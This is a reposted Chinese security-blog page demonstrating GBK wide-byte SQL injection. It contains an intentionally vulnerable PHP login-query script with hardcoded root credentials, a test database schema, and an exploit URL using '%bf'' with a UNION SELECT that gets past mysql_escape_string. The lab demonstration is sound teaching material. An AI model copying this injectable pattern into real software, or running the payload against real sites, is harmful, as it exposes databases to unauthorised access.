记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

宽字节注入事例

2013-03-08 17:45
<?php
/*
* code:c4bbage
* From:cunlide.com
*/
error_reporting(E_ALL);
$conn = mysql_connect("localhost","root","toor");
mysql_query("SET NAMES 'GBK'");
mysql_select_db("test1",$conn);
$username=mysql_escape_string($_GET['username']);
//$username= addslashes($_GET['username']);
var_dump($username);
$password=mysql_escape_string($_GET['password']);
$sql= "select * from admin where username='$username' and password='$password'";
print_r($sql);echo "<br>";
$result = mysql_query($sql,$conn);
print_r($result);echo "<br>";
while ($row=mysql_fetch_array($result,MYSQL_ASSOC))
{
print_r($row[]=$row);
}
/*
exp:
http://127.0.0.1/sqli.php?username=%bf'union select 1,2,3%23&password=password
db file :
--test1.sql
SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
--gbk database
CREATE DATABASE `test1` DEFAULT CHARACTER SET gbk COLLATE gbk_chinese_ci;
USE `test1`;

CREATE TABLE IF NOT EXISTS `admin` (
`id` int(11) NOT NULL,
`username` varchar(15) NOT NULL,
`password` varchar(15) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=gbk;

INSERT INTO `admin` (`id`, `username`, `password`) VALUES
(1, 'admin', 'password');

*/
?>

知识来源: www.cunlide.com/?post=99

阅读:55613 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“宽字节注入事例”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云